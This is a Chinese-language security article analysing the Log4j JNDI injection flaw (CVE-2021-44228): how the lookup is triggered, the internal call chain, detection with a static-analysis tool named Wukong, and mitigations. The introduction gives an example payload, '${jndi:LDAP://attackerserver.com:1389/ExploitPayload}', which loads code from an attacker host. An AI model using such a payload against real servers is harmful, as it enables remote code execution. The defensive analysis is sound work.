一、簡介
最近的Log4J漏洞(CVE-2021-44228)正造成網(wǎng)絡(luò)大亂,其影響力不亞于早期的HeartBleeding漏洞。2.0-beta9 ~2.14.1版本的Apache Log4j2均存在改漏洞,可以說直接影響了大部分基于Java的應(yīng)用。該漏洞最早被阿里云安全團隊發(fā)現(xiàn)并驗證,隨即被Apache定義為高危級別。
Log4j在log字符串”${jndi:xxx}”時,“${“這一特殊字符會指定Log4J通過JNDI來根據(jù)字符串”xxx”獲得對應(yīng)名稱。如果字符串“xxx”為有害的URL”(LDAP://attackerserver.com:1389/ExploitPayload”),JNDI會遠程加載調(diào)用該URL指定的服務(wù)器上任意代碼并執(zhí)行。JNDI(JavaNaming and DirectoryInterface),是Java的一個目錄服務(wù)應(yīng)用程序接口(API),它提供一個目錄系統(tǒng),并將服務(wù)名稱與對象關(guān)聯(lián)起來,從而使得開發(fā)人員在開發(fā)過程中可以使用名稱來訪問對象。該漏洞屬于典型的注入類型漏洞,攻擊者通過控制日志消息或日志消息參數(shù)注入惡意代碼。
如果用戶輸入被輸出到日志中,由于Log4J組件未對用戶輸入進行充分輸入驗證,攻擊者可以通過Apache Log4j2 JNDI功能來執(zhí)行注入代碼,包括從指定惡意LDAP服務(wù)器并加載的的任意代碼。
二、通過Wukong檢測log4J漏洞
對于注入類漏洞(包括SQL注入、命令行注入、XSS等),我們可以通過經(jīng)典的信息流分析技術(shù)來檢測是否存在一條路徑從用戶輸入 (Source)到達危險操作點(Sink),且該用戶輸入未經(jīng)過輸入驗證。
對于Log4J漏洞,當檢測log4J庫時,Source為Log4J組件提供的公共API輸入(例如Log4j.error()的參數(shù)),Sink為訪問JNDI服務(wù)的接口。Wukong可以有效地檢測出Log4J庫中存在的jndi注入問題。如圖1所示。
圖1:通過Wukong檢測Log4J漏洞
注意觸發(fā)該漏洞的調(diào)用鏈非常長,隱藏比較深且涉及到復(fù)雜的指針依賴關(guān)系,我們測試過一些其他靜態(tài)分析工具均未能檢測出該漏洞。
三、錯誤根源分析
漏洞觸發(fā)路徑如下所示:
1、 獲取Logger,并調(diào)用error方法
2、error方法內(nèi)會調(diào)用logIfEnabled方法,注意,debug、info、warn、error、fatal等公共API都會調(diào)用logIfEnabled方法
3、 logIfEnaled方法會調(diào)用logMessage方法
4、 接著會根據(jù)進入下列調(diào)用鏈:logMessageSafely -> logMessageTrackRecursion ->tryLogMessage -> Logger.log -> DefaultReliabilityStrategy.log ->processLogEvent -> callAppenders -> callAppenderPreventRecursion ->callAppender0 -> tryCallAppender -> append -> tryAppend ->directEncodeEvent -> PatternLayout.encode -> toText -> toSerializable-> PatternFormatter.format最終會調(diào)用MessagePatternConverter類的format函數(shù),當日志字串帶有”${”的時候會特殊處理。
5、 字串會交給StrSubstitutor做replace -> substitute處理,找到 “${” 對應(yīng)的 “}”并提取中間的字串,這里是“jndi:xxx”
6、 Substitute方法會調(diào)用resolveVariable,接著會調(diào)用JndiLookup類的lookup函數(shù)
7、最后JndiManager的lookup函數(shù)會解析jndi資源,這里是“xxx”,如果“xxx“部分是可執(zhí)行的惡意程序,那么該程序?qū)粓?zhí)行,從而產(chǎn)生非常嚴重的危害。
因而,如果服務(wù)器代碼中直接將用戶的輸入使用Logger寫入日志,則用戶可以構(gòu)造任意惡意代碼攻擊服務(wù)器。
四、漏洞修復(fù)
對該漏洞的修復(fù)在log4j2.15.0及以后版本中是通過將“${“字符過濾進行特殊處理。對于應(yīng)用的補丁是建議直接升級到2.15.0及以后版本,如果由于兼容性的原因難以升級,可以通過以下方法暫時處理:
1、 修改jvm啟動參數(shù),-Dlog4j2.formatMsgNoLookups=true
2、 修改配置:log4j2.formatMsgNoLookups=True
3、 將系統(tǒng)環(huán)境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設(shè)置為 true
同時注意該漏洞僅僅能在用戶輸入被Log的時候觸發(fā),因而我們可以通過靜態(tài)分析工具Wukong檢測應(yīng)用中是否存在用戶輸入直接輸出到日志中:對于應(yīng)用程序代碼我們可以將外部輸作為source,將log函數(shù)作為sink,查看是否存在一條路徑可達,即是否存在外部輸入可以控制log函數(shù)的參數(shù)。如果不存在這樣一條路徑,log4J中的漏洞也不會觸發(fā)。